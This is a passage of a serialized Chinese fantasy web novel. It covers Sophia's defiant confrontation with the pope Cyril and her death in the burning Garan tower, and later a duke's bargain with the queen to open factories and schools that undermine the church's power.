这座小城坐落在帝国最西端,是锡兰以及周边各国所有圣曜信徒心中的朝圣地。 整座城市分为内外两城。外城住着普通居民,内城都是圣曜教徒。教徒不事生产,坐而论道,被外界输送的资源供养,并享受着外城居民羡慕的目光。 当然, 外城居民又是圣匹斯堡之外的人们所羡慕的对象。 比起这个国家的其他人, 他们拥有得天独厚的优势——可以进入内城教会学校学习。 教会学校只有两种课程,一是圣曜教义,二是生产技术。想要进入学校学习,必须拥有教徒资格。这种资格并不是选择信仰的意思,而是真正由教会赐予身份。 能够有这层身份, 就代表半只脚踏进内城, 哪怕没有留下,去到其他地方当个神职人员也能过得很滋润。所以, 每当有名额放出,外城居民都为此抢破头。 当信仰与利益挂钩,这座城市狂热的宗教氛围几乎形成坚不可摧的壁垒,一层又一层地拱卫着他们的神。 每个月的第一天是朝圣日, 按照习俗,所有人都要聚集在中心广场, 向古尔勒弥斯山祷告。 古尔勒弥斯山脉里,最出名的是主峰墨菲斯雪山。那里的雪终年不化, 日光照耀之下,美不胜收,也是许多来圣匹斯堡外城的游客最喜爱的美景。 当然,信徒们并不是为了美景而祷告。 墨菲斯雪山之巅坐落着宏伟的建筑群,从山脚起始的阶梯一路往上,看不到尽头。唯有一处高塔尖顶,直入云端。据说那里就是神的居所——伽蓝圣殿。 圣曜教会阶级分明,并不是谁都有资格朝圣,能够进入伽蓝圣殿的,至少是小主教以上的人物。 而索菲娅却是例外。她既不是修道院的专职修女,在平民教徒里也不算贡献多么巨大,却拥有自由出入圣殿的权力。 每一次抵达时,还有穿着雪白教袍的小教徒前来迎接。 “尊者在等您。” 这一次也一样。 索菲娅登上最后一级台阶,面无表情的小教徒早已等候在原地,机械地传达教皇的指令。 山下入夏了,山上仍然银装素裹。皑皑白雪覆盖着宫殿与塔楼,一切显得纯洁安宁,像这座圣殿所象征的意义。 索菲娅扯开讽刺的笑,径直往塔楼走。 小教徒跟在后面劝说她整理仪容,她恍然未闻,就这么不修边幅地闯了进去。 宫殿华美,大理石地面光可鉴人,每三步一个成年侍者沿着廊柱站立,他们衣着整洁,冷漠地注视着索菲娅,像在看一个异类。 索菲娅毫不在意,一路穿过重重殿宇,直到看见那道熟悉的身影。 她没有像从前那样虔诚地跪拜,只是一声不吭地站着。 西里尔背对着她坐在壁炉旁,怀里还抱着肥胖的小橘猫,一边看着书,一边观赏窗外的雪。 “回来了?”西里尔没有回头,语气自然。 好像索菲娅只是出门玩了一圈。 索菲娅轻笑,“我已经没有利用价值了,您还要保我做什么?” 西里尔扫了她一眼,目光落在索菲娅单薄的夏裙上,“洛奇,给她加件衣服。” 刚才领路的小教徒应声进来,欲言又止。 索菲娅:“不用费心了,我不会久留。” 西里尔叹了口气,“除了这里,你还有地方可去吗?” 索菲娅没有回答,她的目光落在西里尔的指间,那双修长的手轻柔地梳理着橘猫的毛,它乖巧温顺地躺在他的怀里,全心依赖着救命恩人。 神明在人间的化身,总是慈爱而悲悯,他喜欢救助那些弱小的生命,给予它们重生的希望。 很久很久以前,也是这样的大雪天。 还是少女的索菲娅抱着母亲的尸体,在那条充斥着肮脏与污秽的街巷走了很久,她听见路过的房间里传来放荡的笑声或是悲戚的哭声,似乎看见了自己的未来。 被赶出斯宾塞家时她没有哭,差点被醉酒的嫖/客欺负也没哭,看着春天快要到来,而母亲的尸体正在慢慢腐烂,索菲娅仰头看着天空,忽然想祈求神明,可不可以把妈妈还给她。 那天,神明真的出现了。 他穿着雪白干净的长袍,很年轻,也只是个少年——淡金色的眼睛,长长的金发,温和悲悯的神情就像每个人幻想的救世主那样,降临人间。 可终究神明也有做不到的事情,他救不回一个死人,但是却牵着索菲娅,走出了那条街,走出了既定的命运。 以至于很久以后的现在,索菲娅都没有忘记那天——西里尔伸出的手雪白干净,而她窘迫地将自己的手擦了又擦,才敢牵着他的衣袖。 她和那只猫没什么不同,自以为获得神的垂怜,其实都是假象。 “西里尔。”索菲娅忽然笑了,她在最神圣的殿堂,直呼教皇的名字,眼睛里全然没有畏惧,“伪装神明累吗?假装仁慈地爱着世人累吗?我走到这一步,你应该已经预料到了,现在装出这幅样子,你真的不会累吗?” 索菲娅耸肩:“你不累,我却已经累了。不想装了。” 洛奇为首的小教徒们脸色骤变,纷纷围拢上前。 西里尔缓缓伸出手,摆了摆,示意他们退下。 他并不为索菲娅陡然转变的话锋而惊讶,淡金色的眼睛仍然平静,似乎在说“我纵容你的放肆,不会为此责怪你。” “很累就去休息吧。”西里尔淡淡道,“我不会干涉你未来的计划,如果你想从头再来,圣曜教会依然是你的后盾。如果你不想,那就住在这里吧。格兰芬也无法伤害你。” 索菲娅看着他的眼神,笑容越发讥诮。 小教徒警惕地围拢上前,她忽然道:“好啊,我就住在这里。” 她盯着西里尔的眼睛:“今晚我就住你身边,你敢吗?” 索菲娅形容憔悴,却依然无法掩盖她的美艳,那双漂亮的黑色眼眸闪烁着暧昧的光,不顾教徒们铁青的脸色,缓缓靠近西里尔。 “格兰芬让我好好利用我的脸,我骂他痴心妄想。”索菲娅轻笑,“可如果是你,我很愿意。” 她清楚地知道男人面对诱惑,几乎没有自制力。 可是西里尔却冷静地后退,避开她的红唇,眉头微蹙:“格兰芬对你做了什么?” “什么都做了。”索菲娅嗤笑,突然拽住西里尔的衣袖,缓缓从袖中探了进去,声音拉长,“怎么?想帮我报仇?不用那么麻烦……” “你早就知道,我爱你啊。”她轻笑着,就这么草率地将彼此心知肚明的窗户纸捅破,神情妩媚,“我也知道你的秘密,你不爱我,可是没关系。你是神,也是个男人,性和爱可以分开。” 话音未落,西里尔已经推开索菲娅,神色不辨喜怒。 “洛奇,带她去休息。” 索菲娅慢悠悠地整理领口:“我不走。” 西里尔扫了她一眼,并不和她争辩,索性自己领着教徒离开。 索菲娅一个人被留在空荡的大殿,她笑容渐收。 窗外白雪皑皑,从外面细数,这座高塔足有十九层。她站在第一层,从没见识过上面的风景。 沉默片刻,索菲娅突然走向壁炉。 - 夜幕降临,因为索菲娅不肯离开,西里尔换到偏殿住。 小教徒洛奇领着老修女打扫新房间。 这里负责干粗活的都是修道院的老修女,她们要么先天是哑巴,要么后天为了进入神殿而成为哑巴。 所有人在伽蓝圣殿生活的准则之一,就是保持安静。 可是洛奇年纪小,心里藏不住事,他不理解为什么尊者要纵容索菲娅,明明她当众亵渎尊者,还说那么污秽的话! 洛奇这么想,嘴上却只敢问:“尊者,您真的让信徒索菲娅睡在主殿吗?” 伽蓝主殿不留外客,今天是破例。 西里尔靠在窗边看书,扫了眼室内默默打扫的老修女,“嗯,一会儿安排人给她安排床褥。” 洛奇脸皱成一团,下意识道:“您从前不许任何人进,除了公主……” “洛奇。”西里尔淡淡扫了洛奇一眼,“谁跟你说的这些?” 洛奇一怔,意识到说漏嘴。以他的年纪,本不该知道那么久远的往事。 西里尔盯着洛奇,脸上的温和渐渐消失。 洛奇立刻跪倒在地,哆嗦地不敢抬头。 “尊……尊者,是打扫大殿的修女贝丽说的。” 里面收拾床铺的修女动作一顿,也跟着向外跪下,匍匐在地。 西里尔笑容突然和煦:“看来割了舌头还不够,去吧,把她的眼睛也剜了。” 淡金色的眼睛盯着洛奇,后者忍住恐惧,“是!” 他知道,如果没有将祸根铲除,那么代替那个修女死的就是自己。 洛奇离开,屋里只剩西里尔和跪地的修女。 西里尔抬眸:“你叫什么名字?” 这里的修女都蒙着黑色头巾,有的被割掉舌头,有的眼睛失明,她们是穿梭在神殿的影子,没有存在感,和灰尘一样随处可见,也随时被踩在脚底。 修女指了指喉咙,示意口不能言。 昏黄灯光下,西里尔眸光渐深:“抬起头。” 修女愣住,没有动作。 西里尔微眯眼,他放下书,缓缓起身。 同一时刻,修女解开头巾,露出一张火烧后面目全非的丑陋面孔。 似乎知道自己的容颜有碍观瞻,她立刻羞愧低头。 西里尔已经走到她的身边,她和洛奇一样吓得发抖,而后跪倒在地,亲吻他的鞋面求饶。 也是这一刻,西里尔眼里的审视消失,他像是有些乏味,挥了挥手:“出去。” 修女忙裹好头巾逃离。 西里尔看着她的背影,五官面容、姿势身形……一切的一切都很陌生,却偏偏让他有一瞬间的错觉。 以为是她回来了,而这分明不可能。 西里尔盯着书,很久没有翻动。 直到洛奇带着沾血的匕首回来,跪在地上回禀,他才回过神,脸上又浮现温和的笑:“好孩子,做得不错。” 感受着尊者的抚摸,洛奇杀人的恐惧烟消云散,被肯定的喜悦瞬间占据头脑。 “一切为了尊者。”洛奇虔诚地亲吻西里尔的鞋面。 “起来吧,去好好休息。”西里尔轻笑,眸光微动,“让人看守主殿,别让任何人靠近顶楼。” 洛奇瞬间精神,觉得尊者是听了自己的意见,对索菲娅提防。 “是。” 他刚领命,忽然有人的脚步声急匆匆而来。 “不好了!尊者!顶楼着火了!” 洛奇瞪大眼睛,猛然推开窗,看向主殿。 那座神圣的高塔顶端燃烧着熊熊烈焰,火光冲天,几乎照亮了半个墨菲斯雪山。 西里尔倏然起身,淡金色的眼睛倒映着烈火,手指死死攥紧。 第89章 夜空被火光照亮, 教徒们惶急地救火,可惜火势蔓延得很快,尖塔顶端已经烧得只剩空架子。 黑衣教徒将西里尔拱卫在安全区域,不远处,其他的建筑群已经被教徒们开辟出隔离带,可是主塔却无法施救。 “索菲娅在塔底也放了火,现在火势从两头一起蔓延,尊者,我们该怎么办?” 空旷的广场,洛奇焦急汇报。 西里尔盯着燃烧的高塔,忽然推开人群往前走。 “尊者?!那里危险, 你不能去!”所有人劝阻。 西里尔充耳不闻,淡金色的眼睛里倒映着火光。 十九层高塔, 已经烧灭一半,说不定下一刻就会坍塌。而罪魁祸首却不知道躲藏在哪一层。 西里尔靠得足够近, 近得能感受炙热的温度。 “索菲娅,出来。”他扬声道, “只是不小心纵火而已,不用害怕,我不会怪你。” 他甚至还在微笑,像是安抚受惊的动物。 某扇窗户忽然打开,露出索菲娅的脸。 她平静地看着西里尔,轻笑:“西里尔,你很擅长捕获弱者的信仰。一块面包、一句安抚的话、一个笑容就能让人心甘情愿地匍匐在你脚边。” “可我比你想象得更了解你,其实你现在很生气。”索菲娅眼底滑过讥讽,“你知道我为什么回来,你知道我想留在主殿的目的,你知道一切,却故意纵容我。” “顶楼空荡荡的,那些秘密都被你转移了。你原本想看愚蠢蝼蚁自作聪明,最后只能乖乖臣服你,还要像从前那样感恩你的仁慈与宽容,永远敬爱着你,并为你格外的垂怜而忐忑。” “可你没有想到吧,即便发现顶楼什么也没有,我却仍然放了这把火。”索菲娅大笑,眼底闪烁着泪光,“一只被偏爱的蝼蚁,居然敢逃出你的掌控,像很多年前的女人一样,于是熟悉的愤怒再次涌上心头,我猜得对吗?” 西里尔看着高塔燃烧,平静地看着索菲娅。 他的眼神渐冷,脸上的微笑失去了温情。 可他仍像从前那样伸出手,“索菲娅,下来,别让我说第三次。” “西里尔,扮演爱,不代表你真的会爱人了。”索菲娅讥诮地看着他,“到现在,你还以为我真的爱你吗?什么是爱?你分得清吗?” 西里尔眸光渐沉,脑海的记忆片段被唤醒,曾经也有一个人说过同样的话。 索菲娅望着他的神色,想起很多年前的大雪天,那只伸向自己的手。 当年,还是少女的索菲娅,也许有那么一瞬间,对西里尔产生过异样的情愫。可那点感情早就随着时间推移,烟消云散。 在索菲娅的世界里,有太多沉重的欲望,足以压倒所谓的爱情。 只是她知道,高高在上的神明喜欢这个游戏,他扮演着施舍宽容的角色,再看着她回报以诚挚的爱戴——不厌其烦地模拟这个过程,像是追溯某段已经失去的情感。 能够得到实在的利益,索菲娅愿意装糊涂。她不需要了解西里尔为什么像是透过她在看别人,她也不介意成为谁的替身,更没有兴趣探究,西里尔和那个人有怎样的往事。 可是此时此刻,当索菲娅决定放弃一切,她以平等的角度审视着从前讨好的神明,忽然觉得大家没什么不同。 一样卑劣,一样可悲。 “西里尔,纯澈的爱是奢侈品,我出身泥潭,你长在云端,可你和我没什么不同,都不配得到它。” “你以为自己多么痴情,扒开那张人皮看一看,里面根本没有跳动的心脏。”她顿了顿,夸张地挑眉。 “多有意思啊,神明也有求而不得的执念,神明和我一样自私又恶毒。神明也是个可怜虫,日复一日地演戏,甚至连自己都骗了过去!你如果真的爱着她,就不会像个疯子一样霸占她,让她的灵魂都不得安息,西里尔,你算什么狗屁的神明!” “疯女人!住口!”所有教徒喝骂起来。 西里尔眼底滑过阴鸷的笑意,他从容地抬手,轻笑道:“宠物也有竖起利爪的时候,虽然我更喜欢你乖巧的样子,说吧,把后半生想说的话,都说完。说完就下来。” 教徒们已经在极力扑灭大火,另一边也在准备软垫救援。 索菲娅的特权众人有目共睹,他们都知道,即便这个女人烧了高塔,也不会被处死。 可是这一刻,洛奇背后发寒,猛然想起被割掉舌头的修女。看来尊者动怒,即便是索菲娅也要吃点苦头了。 广场人群里,那个打扫床铺的修女也悄悄抬头,看向高塔上的索菲娅。 “下来?”索菲娅轻笑,擦了擦眼角,仰头看着夜空,“西里尔,我什么也不想要了,你控制不了一个没有欲望的人。” “我选择不了人生的开端,至少……还能选择怎么结束。” “看在我帮你做了那么脏事的份上,等我死了,请把这个消息告诉亚当和贝琪。”火舌蔓延,索菲娅随手将发间的银饰抛了出去,“从此,他们自由了。” 索菲娅缓缓后退,一步一步退向火海,炙热的温度裹挟着周身。 剧烈的疼痛袭来,可她的脸上却挂着微笑。 ——她这一生都在辜负爱,活得自私又狠毒,却没什么好后悔的。 就让她和这座罪恶的高塔,一同埋葬在火海里也很好。 可是,原来人生到达终点,脑海会浮现过往的一幕幕。 不是贯穿大部分时光的欲望与丑恶,而是某个瞬间连自己都没察觉的美好。 是亚当第一次叫妈妈,是贝琪学会走路,是夏天的午后,她抱着两个孩子在庭院看书,微风吹拂她的头发,空气里传来铃兰花香…… 最后的定格,是一个女人的微笑,陌生又熟悉。 她很久没来索菲娅的梦里了。 而这一刻,索菲娅变得很小很小,眼前的女人,就是她的全世界。 女人画着浓妆,身上带着伤,肚子饿得咕咕叫,却将面包里的果酱夹心挑出来,笑眯眯地喂给小索菲娅吃。 天降大雪,那应该是很冷的冬天。小索菲娅吃饱了,靠在女人的怀里沉睡,却感受不到寒意。 小小的孩子不知道,此后漫长的半生,再也没有那样温暖的冬天。 生命消逝的最后一刻,大火彻底将高塔吞噬。索菲娅看着虚空,似乎有一朵雪花落在眼睫,很快融化。 她又看见那个女人,正在向她招手。 那个被唾弃,被谩骂,承受着世间恶意、在苦难里挣扎地活着、却依然用渺小的身躯为孩子抵挡风雪的女人,是她的妈妈。 妈妈来接她了…… 索菲娅扯开一丝笑,闭上眼,泪水滑落,很快被高温蒸发。 ——如果有来世……不,不要有来世。这个人间,来一次就够了。 伽蓝圣殿的高塔彻底倒塌,火光映照夜空,墨菲斯雪山坚冰融化。 天空突兀地飘落雪花,在半空就化作雨水。 教徒们沉默垂头,谁也不敢看西里尔的表情。 每一个向圣曜神像宣誓过的信徒都知道,他们不可以随意剥夺自己的生命,死亡也是一种特权。 而那个女人却以如此决绝的方式奔赴死亡,还连带着伽蓝圣殿最神圣的中心塔一起,践踏着教皇的权威。 迟来的雨水浇灭大火,高塔只剩残缺的框架,以及一堆灰烬。 洛奇小心翼翼问:“尊者,需要寻找信徒索菲娅的尸体吗?” 西里尔沉默良久,神情不辨喜怒:“找,把她烧成焦炭的尸体,给她的儿女送去。” 洛奇心中一抖,颤声说:“是。” 他摆摆手,身后的哑巴修女立刻上前,在雪地扒出索菲娅扔下的遗物,至于尸体……洛奇不敢看,跟着西里尔离开。 - 十天后,伽蓝神殿的马车抵达布鲁森庄园,随即这个死讯又由亚当传递给伊莎贝尔。 “是一个哑巴修女来送信。”亚当声音低沉,他深吸一口气,将盒子里被火烧得变形的银饰拿了出来,“这是她的遗物,请你看看有什么特别的地方吗?” 伊莎贝尔理解亚当复杂的心情,也知道他不需要无谓的安慰。 她叹了口气,接过银饰反复查看,并没有发现特别之处。 送出伽蓝神殿的东西都要经过检验,如果有问题,想必也送不出来。 “你觉得这个银饰有蹊跷?”伊莎贝尔看向亚当。 亚当摇头:“我不知道,也许真的只是证明她身份的遗物。” 伊莎贝尔沉默,摩挲着银饰的纹路——这是一只做工普通的铃兰花冠状发饰,看着很有岁月的痕迹,也是比较老旧的款式,说是索菲娅的爱物也能理解。 她特意留下这件东西,是在暗示什么吗?还是他们想多了? 两个人都陷入思考,却想不出结果。 “算了,是我想多了。”亚当扯开一丝笑,眼底滑过寂寥,“她只是想告诉我和贝琪,我们失去了母亲。虽然她也从不在乎这个身份。” 他起身告辞,回去料理索菲娅的葬礼。 那具惨不忍睹的尸体还存放在庄园里,谁也不知道那里发生了什么,以至于伽蓝圣殿连最后的体面也不给她。 伊莎贝尔送亚当出门,看见圣殿的马车也停在外面。 教徒们奉命参加索菲娅的葬礼。他们不屑于和普通人打招呼,只有一个蒙着黑头巾露出眼睛的修女,抬头看向伊莎贝尔。 伊莎贝尔礼貌颔首,那个修女却只是盯着她,直到引起教徒的注意,这才撇开视线。 第六感让伊莎贝尔觉得不对,可一时却难以发现哪里有问题。 她细细思索,一面看着亚当坐上圣殿的马车远去。 伽蓝圣殿对待死者无礼的态度,和从前对索菲娅的尊重相比,截然不同…… 自焚而死……索菲娅为什么选择这么酷烈的方式走向死亡? 冰蓝色的眼睛看着天空,划过一丝怅惘的情绪,很快消失不见。 伊莎贝尔回想那块银饰,铃兰花纹很常见,是很多年前流行的款式,象征着纯洁的情愫。当年墨伦维克的贵妇几乎人手一块。 心思缜密的对手,在生命走向终点,难道真的只是留下一个普通的遗物吗?索菲娅希望她破译出什么消息呢? 这些疑团一时间难以解开,而奥蒂的信件却已经抵达。 久久没有姐姐的消息,远在海岛的奥黛丽急坏了—— 作者有话说:想起太外婆98岁高龄,弥留之际,迷糊着喊妈妈。 无论这一生多么漫长,经历了怎样的风雨,最后时刻想到的永远是妈妈。 第90章 章节锁定 90-100 第91章 再次看见父母, 奥黛丽又是诧异又是惊喜。 她瞪大眼睛,倏然起身,差点碰到脑袋。 而消失半个下午的赫尔曼, 正站在爱德华和简妮身边,看样子是去接他们过来。 “噢,请告诉我这是怎么回事?”奥黛丽拎着裙子跑过去,和亲眷一一贴面, “圣曜节过去这么久,是迟来的惊喜礼物吗?” 安娜姨妈高兴地仰起头:“甜心,我们也很惊喜!” “我必须收回从前对外甥女婿的偏见,事实上,赫尔曼是个再好不过的小伙。”安娜毫不吝惜华美的辞藻, “知道我们在洛森郡的乡下生活乏味,他慷慨地承包了庄园所有人的旅行费用。噢,要知道就算是你爸爸年轻的时候,对待妻子的亲戚也没有这么大方!” 简妮嗔了妹妹一眼:“安娜。” 爱德华翘着胡子,嘟囔:“我年轻的时候也是个好小伙,你赞同吗?简妮。” 简妮安抚丈夫:“当然。” 安娜终于想起来自己还寄人篱下:“爱德华,我没有说你不好的意思。” 她眨眨眼, 发动幽默细胞:“但是我必须优先奉承支付账单的人,这关系到我是否能眼也不眨地买下成衣店里所有新款裙子。” 看着姨妈夸张地展示裙子,奥黛丽憋着笑,扯了扯赫尔曼的袖子,牵着他去角落。 “怎么了?”赫尔曼淡淡问。 奥黛丽仰头看他,水蓝色的眼睛盈着笑意:“你又发生了一点改变。” 赫尔曼双手抱臂,轻笑:“什么改变?” “你开始接纳我所有的家人。”奥黛丽微笑。 赫尔曼想了想,靠着墙闲适道:“这并不是难事。” 虽然爱德华愚蠢、安娜平庸,但总体上并不是那么一无是处。最重要的是,他们是妻子的家人。 是因为这些人的爱与陪伴,诺曼小姐才长成今天的样子。 “虽然你认为它并不难,我却不能忽视你的付出。”奥黛丽认真说,“就像我很讨厌吃榴莲,讨厌到只要有人在面前吃,我都会感到不适。你对各式各样的人也拥有自己的喜恶,这无关对错,只是写在我们基因里的特点。” “原本我们可以不必改变自己的特点,只需要筛选合适的对象。可现在你却愿意为此退让。试着想想,我也需要鼓起勇气下定决心,才能接受别人在我面前吃榴莲。所以我才觉得你很棒!” 奥黛丽看着赫尔曼,认真诚恳的话语一时让后者有些愣神。 她是如此的敏锐,会在细微之处看见那些渺小的情愫。 这些连本人都无法察觉的存在,像角落蒙尘的珍珠,被看见、被注视、被一双手轻轻捧起、小心翼翼将灰尘擦干净,重新展示耀眼的光华。 赫尔曼沉默许久,他总以为自己已经很了解妻子,而她却又在不经意的瞬间,再次击中他。 他很想说,那颗角落的珍珠并不珍贵,是因为“被看见”才珍贵。 她是赋予它珍贵的人。 良久,他什么也没说,只是决定多给诺曼一家支付账单。 “噢,差点忘了。”和家人短暂说笑后,奥黛丽一拍脑袋,看向赫尔曼,“我们的返程日期是什么时候?” 赫尔曼眸光微动:“很快。” “很快是什么时候?”奥黛丽不接受糊弄。 赫尔曼沉默一会儿,忽然问:“现在这样你不开心吗?为什么想回去?” “开心啊。”奥黛丽点头,顿了顿,“可是家里只剩我姐妹一个人,我会担心。” “你知道她可以处理好一切。” 奥黛丽低下头:“那我也担心。万一呢,万一有她也解决不了的麻烦呢?” “如果是她也无法解决的麻烦,你回去又能做什么?”赫尔曼摸了摸奥黛丽的脑袋。 奥黛丽皱眉,嘟囔:“你说这话是什么意思?她怎么了?” 赫尔曼盯着那双眼睛,停顿片刻,表情放松下来,“没什么。” 见奥黛丽还是不相信,赫尔曼拿出伊莎贝尔的亲笔信递给她。 信不知道是什么时候写的,很平淡的口吻,简短精炼,很符合伊莎贝尔的风格。内容也和以前的每一次信件一样寻常。只是说自己要处理查尔维斯的一些杂事,结束后会来与他们会合,并祝愿奥黛丽旅途开心。 奥黛丽反复检查几遍字迹,确认是姐姐写的,这才高兴起来。 伊莎贝尔从不会骗她,奥黛丽确信这一点,于是开始期待姐姐的到来。 看着妻子打消疑虑,赫尔曼眸光深沉,手指无意识地摩挲手杖。 ——登船前,伊莎贝尔将这封信交给他,那时他还不明白这么做的意义,现在终于懂了。 一小时后,“诺曼号”顺利离开普利克港口,前往下一站- 同一时刻,墨伦维克。 女王塞拉菲娜结束议政,返回城堡。 第一秘书洛娜提醒道:“陛下,斯宾塞公爵请求觐见。” 女王回头:“海因?他来多久了?” 不等洛娜答话,年轻的公爵已经出现在殿外,挺拔的脊背微弯,行礼道:“向您问好,陛下。” 女王和蔼招手:“过来,海因。” 洛娜很有眼力见儿,找借口退出房间,留他们谈话。 “我可是听说你们夫妇一个在南,一个北,搞出很大的阵仗,让我猜猜,你来找我可不是因为想念姨妈吧?” 海因里希也不废话,点头道:“您猜得没错,我想和您做一笔交易。” 女王挑眉:“交易?和我?” 海因里希拿出一份文件,有条不紊道:“请您过目。” 这是出发前,伊莎贝尔交给海因里希的任务——用技术和女王做交易。 早在成立诺曼实业公司,开展远洋贸易时,伊莎贝尔就发现办手续的流程一路绿灯。当然,一方面是因为斯宾塞公爵的名号在肯特郡很好用,另一方面,往深了想,这代表了女王的态度。 教会手握技术,但不能涉足远洋贸易,似乎是不成文的规定。索菲娅之所以只能以布伦瑞克伯爵府的名义成立公司、而不是以教会作为靠山,也正是因为上述的原因。 航运向来是税收大头,教会垄断技术,不去吃这块蛋糕是不合常理的,唯一的解释就是教会与王室达成某种协议,让渡权益保持平衡。 可是教会为什么愿意呢?伊莎贝尔和海因里希探讨过这个问题。 世俗意义上来说,王权神授,即便圣曜教会像二十年前那样辉煌,垄断一切,王室也没有任何办法。 而转折点就是路德维希强闯伽蓝圣殿,发动和平革命。 西里尔登基后教会光芒太盛,连王室都成了吉祥物,更别提当时的平民。路德维希就是在这个节点,迫使教会修改法案,让渡权利给平民。 虽然后续风波消弭,当时的影响却很大。路德维希在民间声望大涨,而教会则完全相反,一度成为被唾弃的对象。随着时间流逝,除了查尔维斯庄园的原住民,许多人都淡忘了这段历史。 是的,没有经历过战争的伤痛,而教会也在变好,日子越来越幸福,对于普通人而言,这就够了。某种意义上来说,这也是路德维希希望达成的结局。 这样也就说得通,教会为什么愿意让渡权利给王室。 伊莎贝尔代入西里尔的角度思考,如果她是教皇,被人拿刀架着脖子威胁,横竖都是要分蛋糕,与其抠抠搜搜分一小块给平民,让仇人得到好名声,还不如切块大的,拉拢王室和其他贵族,一起洗白,顺便淡化仇人的功绩。 蛋糕分出去了,王室能不能吃下就看自己的本事。 显然,航运虽然是税收大头,但王室没有利用到极致,几个涉足海贸的选帝侯不争气,不想着开拓市场,光顾着内斗,抢占几个短途贸易的三瓜俩枣。这也是远东航贸停滞不前的原因。 而斯宾塞家突然下场,声势浩大,宣传得人尽皆知,还和布伦瑞克家斗得水深火热。按常理来说,中间必定没这么顺利,那几个选帝侯家族多少要使点绊子。 可偏偏无事发生。 那时候,伊莎贝尔就猜到是女王在背后帮忙。 她和索菲娅的斗争涉及到教会,女王不便表态。但是斯宾塞家和布伦瑞克家,无论是谁开拓了华夏航贸,对王室来说都是好事。所以她绝对不允许有人破坏。 因此,伊莎贝尔虽然人不在场,但对今天的交易十拿九稳。 此时此刻,女王仔细翻阅了文件,似乎隔空领悟了真正的谈判者是谁,更明白了她的意图。 “你想以王室的名义,在墨伦维克和各地开办工厂和学校?”女王忽然抬眸,“你知道这会触动教会的利益吧?” “是的。”海因里希平静道:“利益都需要争取,难道我们将蛋糕送到您的嘴边,您却因为害怕不敢吃?” “无礼的小子。”女王瞥了眼外甥,并不被他的话激怒,“我总要知道你们的目的是什么。奥黛丽现在还在肯特郡,这一切都是她的主张吧,为什么不是她来和我谈?” “她要留在肯特郡做同样的事情。”海因里希眼底滑过骄傲的神采,“想改变所有人的思想不在一朝一夕,肯特郡是起源地,而墨伦维克才是真正能让它落在锡兰土壤里,遍地开花的中心。” 女王沉默,忽然道:“这将是很漫长的过程。” “等待一棵树长大需要十年,何况是人呢?不能因为时间漫长,或是过程曲折就放弃开始。”海因里希淡淡道,“总要有人去播种,等待这批接受教育的孩子长大,世界自然随之改变。” 女王微怔:“这些都是她说的?” “她没有说过,但我明白她想做什么。”海因里希垂眸,说出埋藏在内心的话。 在肯特郡的那些天,他看似什么都没管,却一直在默默注视着伊莎贝尔,观察她的一言一行。而她也从没有避讳自己的所思所想。 女王似乎为此触动,她的目光落在文件上,像是与另一个人对望。 “海因,你应该知道,开办工厂尚且在教会的容忍范围之内。”女王抬眸,“可是建立学校,这是在动摇教会的根基。” 她长叹一口气,从怀中拿出一只银质发饰——古旧的铃兰图案,沾染岁月的痕迹。 她抚摸着上面的纹路,语带怀念:“这是乔治安娜的遗物,我看着它,就像看见你母亲。如果她还在世,会希望你和你父亲走上同一条路吗?” 海因里希手指微微攥紧,片刻后松开。 “您错了,我不是在走我父亲的路。”他坦然,“我的信仰,是我的妻子。” 第92章 章节锁定 第93章 哈登菲尔德, 机械协会大厅。 桌子被愤怒的格兰芬拍得震天响,黑衣教徒们低着头,不敢说话。 在宣布华夏通航以后, 大半的商人纷纷倒戈,教会的赎罪金出现重大缺口, 别说修缮新教堂了, 就连维持日常花销都很艰难。 “赎罪金!又是赎罪金!告诉尊者, 今年哈登菲尔德没法按时上缴赎罪金!”格兰芬的声音沙哑,“不,不仅是哈登菲尔德, 整个锡兰的税收都要减少大半!” 斯宾塞联合怀特家族打破技术垄断,想也知道,他们一定不会放过这个机会,将技术推广到墨伦维克,而女王也不会拒绝这种送上门的好事。 哈市是锡兰的财富中心, 这里云集了几乎全国百分之八十的投机者与商人,在他们眼里, 利益是永恒的信仰。 当年为了开办工厂如何臣服机械教会,那么现在他们就愿意为了更先进且成本更低的改良技术站队怀特家族与公爵府。 想在肯特郡使用信仰洗脑的那一套, 根本没用! 就在这时,一名教徒攥着衣角,瑟缩着从人群后挪出来,声音发颤:“主教大人……还有件事……” 格兰芬眼神冷:“说。” “那位公爵夫人在城郊办了新学校之后, 又联合工人首领开办报纸,上面登载的那些文章……我……我不敢念。” 教徒低下头,将报纸递给格兰芬。 格兰芬扫了两眼,只见头条全是“自由”“科学”等字眼。 这里面并不是像从前那些被教会剿灭的地下组织那样, 只登载长篇大论的劝导文章。而是让学校的学生、工厂的技术专家以自己的口吻分享科学故事、或是辟谣某些被误以为神迹的科学知识。 报纸没有说神明是假的,甚至还免费在祷告日以祈福的名义捐款捐物。以至于教会连封禁的理由都找不到。 盯着报纸,格兰芬猛地攥紧拳头,目光阴鸷——他终于明白,那个女人要的从来不是一时的上风,是要动摇圣曜教会的根本。 他看向教堂之外,透过报纸的新闻,仿佛已经看见肯特郡的另一番景象。 工厂里,恢复健康的凯文挥舞着拳头,声音洪亮地对着围拢的工人喊:“伙计们!科学能让我们摆脱病痛,自由能让我们抬起头!我们不是教会的工具!” 镇子上,小波利像只灵活的小雀穿梭在人群中,将报纸塞进每一个过往工人的手里,仰着小脸说:“叔叔,看看吧!最新一期的《工人之声》!” 河边,洗完衣服的萝丝向妇女们分享未婚夫的病愈经过,趁着大家好奇,顺便拿出招工启示:“姑娘们,公爵夫人开了一家女工纺织厂,我打算去应聘,你们要不要一起试试?” 田地里劳作的妇女有些犹豫:“我们走了,孩子没人照顾怎么办?” “不用担心,纺织厂还有配套的学校医院,孩子们可以去厂里的学校上学,我们要是生病了也有福利保障。”萝丝仔细科普相关条例。 部分人在观望,部分人很果断地跟着萝丝一起去。 当第一批女工领着工资回家,剩余的人也坐不住了。 哈登菲尔德的新风潮就此开始,只是当时的人们还没有意识到,他们站在了历史变革的节点,也没有预料未来会有怎样翻天覆地的变化。 而此时此刻,格兰芬攥紧变形的报纸,却似乎能察觉危机降临。 是的,就像文章里说的那样,神明本身是人类幻想的化身,是无害的吉祥物,是低谷时的慰藉。只要人类永存,心中的神明也会永存。 圣曜教会起初就是以这种方式立足,它让某个高台上的“人”,成为神的化身,让万众敬仰。 可现在,这些新的思潮又在潜移默化地传播一个道理——万事万物在你眼里都可以是神,神是你的心灵寄托,祂是给予你安心力量的来源。可是换句话说,祂们成为神明,也是因为你给予了信仰。你愿意相信神明仁慈地爱着世人,包括你。所以你有勇气走出低谷,闯过荆棘活出新的人生。 那一刻,拯救你的是神明,更是你自己。 